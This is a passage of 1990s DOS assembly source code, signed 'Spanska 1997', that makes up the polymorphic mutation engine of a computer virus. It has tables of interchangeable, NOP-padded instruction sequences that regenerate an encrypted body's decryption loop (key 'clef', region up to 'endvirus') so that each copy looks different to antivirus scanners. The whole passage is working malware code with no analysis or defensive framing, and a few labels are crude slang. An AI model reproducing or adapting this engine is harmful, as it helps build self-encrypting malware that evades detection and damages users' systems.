pop ds mov ax, es push ax mov ax, ds push ax mov ax, cs push ax push ax pop bx pop bx mov es, bx mov ds, bx db 4 dup (90h) nop mov bx, es push bx mov cx, ds push cx mov dx, cs mov es, dx mov ds, dx nop xor ax, 0 db 3 dup (90h) nop nop mov ax, es nop mov bx, ds nop mov cx, cs nop push cx nop push cx nop pop ds nop pop es push ax push bx xor dx, dx mov cx, es or dx, cx push dx xor cx, cx mov dx, ds or cx, dx push cx mov cx, cs push cx pop es mov ds, cx mov ax, 0FFFFh mov bx, es and ax, bx push ax mov dx, ds push dx push bp mov bp, cs mov ds, bp mov es, bp pop bp nop sub sp, 2 mov bx, sp mov ss:[bx], es mov ax, ds mov bx, cs push bx pop es mov ds, bx push ax db 3 dup (90h) dec sp dec sp mov bx, sp mov ss:[bx], es dec sp dec sp mov bx, sp mov ss:[bx], ds mov ax, cs mov es, ax mov ds, ax nop sub sp, 4 mov di, sp mov ss:[di], ds mov ss:[di+2], es push cs mov si, sp mov es, ss:[si] pop ds ;2/ JMP 12Bh in 5 bytes _mutation2: db 90h ;nop db 33h, 0C0h ;xor ax, ax db 74h, 0Bh ;je decrypte db 33h, 0C9h ;xor cx, cx db 41h ;inc cx db 75h, 0Bh ;jne decrypte db 90h ;nop db 0EBh, 0Dh ;jmp decrypte db 90h ;nop clc db 90h ;nop db 34h, 0FFh ;xor al, 0FFh db 75h, 0Bh ;jne decrypte db 32h, 0DBh ;xor bl, bl db 76h, 0Ch ;jbe decrypte db 90h ;nop db 0B9h, 02h, 0 ;mov cx, 2 db 0E2h, 0Bh ;loop decrypte db 41h ;inc cx db 41h ;inc cx db 0E2h, 0Ch ;loop decrypte db 90h ;nop db 0E9h, 0Dh, 0 ;jmp near decrypte push ax pop ax db 90h ;nop db 90h ;nop db 0E9h, 0Bh, 0 ;jmp near decrypte db 0F6h,0C5h,01 ;test ch, 1 db 74h, 0Bh ;jz decrypte ;3/ STOSB in 6 bytes (without di, si, cx, dl) _mutation3: stosb nop nop nop nop clc nop nop nop nop nop stosb mov es:[di], al xchg ax, di inc ax xchg ax, di xchg ax, dx mov ds:[di], dl inc di xchg ax, dx nop inc di mov es:[di-1],al nop mov byte ptr [di], 0 or [di], al inc di xchg byte ptr [di], al add di, 2 dec di mov byte ptr [di], 0 add byte ptr [di], al inc di add di, 1 xchg byte ptr [di-1], al;3 mov byte ptr [di], 0FFh and byte ptr [di], al inc di ;4/ RET in 5 bytes (without di, si, cx, dl) _mutation4: ret nop nop nop clc nop nop nop nop ret pop ax jmp ax nop nop nop pop bx jmp bx nop xchg ax, cx pop cx xchg ax, cx jmp ax xchg ax, dx pop dx xchg ax, dx jmp ax pop ax pushf push cs push ax iret pop bx pushf push cs push bx iret ;5/ mov cx, fin_cryptage-debut_cryptage in 6 bytes _mutation5: mov cx, fin_cryptage-debut_cryptage nop nop nop nop nop nop mov cx, fin_cryptage-debut_cryptage mov ax, fin_cryptage - debut_cryptage+1 dec ax push ax pop cx mov bx, fin_cryptage-debut_cryptage push bx pop cx nop nop mov dx, fin_cryptage-debut_cryptage xchg cx, dx mov ax, fin_cryptage-debut_cryptage-1 inc ax mov cx, ax xor cx, cx add cx, fin_cryptage-debut_cryptage xor ax, ax add ax, fin_cryptage-debut_cryptage xchg ax, cx mov cx, debut_cryptage-fin_cryptage neg cx nop ;6/ lea si, debut_cryptage in 10 bytes (without CX) _mutation6: lea si, [bp+offset debut_cryptage+5] sub si, 5 nop nop nop nop nop nop nop nop nop lea si, [bp+offset debut_cryptage] mov ax, bp add ax, offset debut_cryptage+9 mov si, ax sub si, 9 sub bx, bx xor bx, offset debut_cryptage add bx, bp xchg si, bx xor dx, dx add dx, bp add dx, offset debut_cryptage mov si, dx mov bx, bp mov ax, offset debut_cryptage+1 add ax, bx mov si, ax dec si push bp pop ax add ax, offset debut_cryptage-1 inc ax mov bx, ax mov si, bx mov dx, offset debut_cryptage neg dx push bp pop si sub si, dx nop ;7/ mov di, si in 4 bytes (without CX, SI) _mutation7: mov di, si nop nop nop nop mov di, si nop push si pop di nop push si pop dx xchg dx, di xchg si, di mov si, di push si pop ax xchg ax, di nop sub di, di xor di, si mov ax, si mov di, ax xchg si, ax xchg ax, di mov si, di ;8/ mov dl, cs:[bp+offset clef] in 10 bytes (without CX, SI, DI) _mutation8: mov dl, cs:[bp+offset clef] nop nop nop nop nop nop nop nop nop nop mov dl, ds:[bp+offset clef] lea bx, [bp+offset clef+5] sub bx, 5 mov dl, [bx] nop mov ax, bp add ax, offset clef-2 inc ax inc ax xchg ax, bx mov dl, [bx] sub bx, bx xor bx, offset clef add bx, bp mov dl, [bx] mov bx, bp add bx, offset clef mov dh, [bx] xchg dh, dl mov bx, bp mov ax, offset clef+1 add bx, ax mov dl, [bx-1] ;9/ LODSB in 6 bytes (without CX, SI, DI, DL) _mutation9: lodsb nop nop nop nop nop nop nop nop nop nop lodsb mov al, es:[si] xchg ax, si inc ax xchg ax, si mov bx, si mov al, [bx] inc si nop inc si mov al, es:[si-1] nop mov ax, 0 or al, [si] inc si xchg byte ptr [si], al add si, 2 dec si xor ax, ax add al, byte ptr [si] inc si nop add si, 1 xchg byte ptr [si-1], al mov ax, 0FFFFh and al, byte ptr [di] inc si ;10/ XOR AL, DL in 10 bytes (without CX, SI, DI, DL, AL) _mutation10: xor al, dl db 2 dup (90h) xchg cx, bx xchg cx, bx nop clc db 8 dup (90h) xor al, dl xchg ax, bx xor bl, dl xchg ax, bx db 5 dup (90h) stc db 2 dup (90h) xor ax, dx db 6 dup (90h) clc db 5 dup (90h) xor ax, dx db 2 dup (90h) stc db 2 dup (90h) mov bx, dx xor ax, bx db 3 dup (90h) lea bx, [bp+offset temp] mov [bx], dl xor [bx], al mov al, [bx] lea bx, [bp+offset temp] xchg [bx], al xor [bx], dl xchg al, [bx] ;10bis/ add AL, DL in 10 bytes (without CX, SI, DI, DL, AL) _mutation10bis: db 3 dup (90h) add al, dl db 5 dup (90h) db 4 dup (90h) xchg al, dl add dl, al xchg al, dl mov ah, al mov dh, dl db 2 dup (90h) add ah, dh xchg ah, al neg dl sub al, dl neg dl db 4 dup (90h) db 2 dup (90h) neg dx nop sub al, dl nop neg dx ;10ter/ rol AL in 10 bytes (without CX, SI, DI, DL, AL) _mutation10ter: db 3 dup (90h) rol al, 1 db 5 dup (90h) db 7 dup (90h) rol al, 1 nop lea bx, [bp+offset temp] xchg [bx], al rol byte ptr [bx], 1 xchg al, [bx] jmp baise_les4 neg al inc al not al baise_les4: rol al, 1 ;10quart/ inc AL in 10 bytes (without CX, SI, DI, DL, AL) _mutation10quart: db 4 dup (90h) inc al db 4 dup (90h) db 8 dup (90h) add al, 1 inc ax db 9 dup (90h) lea bx, [bp+offset temp] xchg [bx], al inc byte ptr [bx] xchg al, [bx] jmp baise_les xor al, dl add al, dl rol al, 1 baise_les: inc al ;10quinte/ not AL in 10 bytes (without CX, SI, DI, DL, AL) _mutation10quinte: db 4 dup (90h) not al db 4 dup (90h) db 4 dup (90h) xchg al, dh not dh xchg al, dh lea bx, [bp+offset temp] xchg [bx], al not byte ptr [bx] xchg al, [bx] jmp baise_les2 xor al, dl add al, dl inc al baise_les2: not al ;10sixte/ neg AL in 10 bytes (without CX, SI, DI, DL, AL) _mutation10sixte: db 3 dup (90h) neg al db 5 dup (90h) db 3 dup (90h) mov dh, al neg dh mov al, dh nop lea bx, [bp+offset temp] xchg [bx], al neg byte ptr [bx] xchg al, [bx] jmp baise_les3 not al xor al, dl inc al baise_les3: neg al ;11/ CALL in 12 bytes (without CX, SI, DI, DL, AL) _mutation11: db 0E8h, 0C4h, 0FFh ;call baise_flag_cryptage db 90h, 90h, 90h, 90h, 90h db 90h, 90h, 90h stc lea bx, [bp+offset mutation11+12] push bx db 0EBh, 0C0h ;jmp baise_flag_cryptage db 90h, 90h, 90h, 90h clc db 8Bh, 0DDh ;mov bx, bp add bx, offset mutation11 db 83h, 0C3h, 0Ch ;add bx, 12 db 53h ;push bx db 0EBh, 0BBh ;jmp baise_flag_cryptage db 51h ;push cx lea bx, [bp+offset mutation11+10] db 53h ;push bx db 0B1h, 02h ;mov cl, 2 db 0E2h, 0BDh ;loop baise_flag_cryptage db 59h ;pop cx nop lea bx, [bp+offset mutation11+12] db 53h ;push bx db 32h, 0DBh ;xor bl, bl db 76h, 0BEh ;jbe baise_flag_cryptage nop nop nop mov bx, offset mutation11+10 db 43h ;inc bx db 03h, 0DDh ;add bx, bp db 43h ;inc bx db 53h ;push bx db 32h, 0DBh ;xor bl, bl db 74h, 0BBh ;je baise_flag_cryptage ;12/ DEC CX in 5 bytes (without CX, SI, DI, DL, AL) _mutation12: nop nop dec cx nop nop nop nop sub cx, 1 inc cx sub cx, 2 nop neg cx inc cx neg cx xchg cx, bx dec bx xchg cx, bx nop nop xchg cx, ax dec ax xchg cx, ax xchg cx, di dec di xchg cx, di xor bl, bl sbb cx, 1 db 81h, 0C1h, 0FFh, 0FFh nop db 90h, 90h db 83h, 0C1h, 0FFh mov bx, 1 sub cx, bx ;13/ CMP CX, 0 in 6 bytes _mutation13: cmp cx, 0 nop nop nop nop nop nop cmp cx, 0 nop or cx, cx nop nop nop nop nop nop or cx, cx nop test cx, 0FFFFh nop nop or cl, cl jne suite_or or ch, ch suite_or: mov bx, cx inc bx cmp bx, 1 inc cx cmp cx, 1 dec cx nop dec cx cmp cx, 0FFFFh inc cx nop ;14/ JNE XOR_LOOP in 7 bytes _mutation14: db 90h, 90h, 90h db 90h, 90h db 75h, 0D2h ;jne xor_loop db 90h, 90h, 90h ;3 nop db 75h, 0D4h ;jne xor_loop db 90h ;nop clc db 90h, 90h ;2 nop db 74h, 03 ;je suite_zob db 0EBh, 0D3h ;jmp xor_loop stc ;suite_zob: db 77h, 0D7h ;ja xor_loop db 90h, 90h, 90h ;3 nop db 90h, 90h ;2 nop db 76h, 05h ;jna suite_zobi ;2 db 0EBh, 0D5h ;jmp xor_loop db 90h, 90h, 90h ;3 nop ;suite_zobi: db 9Ch ;pushf db 5Bh ;pop bx db 0F6h, 0C3h, 40h ;test bl, 01000000b db 74h, 0D2h ;je xor_loop ;-----------memory zones used by mutation engine--------------- temp db 0 type_cryptage db 0 fin_cryptage: clef db 0 endvirus: heap: code ends end start ;----------------- (c) Spanska 1997 ---------------------------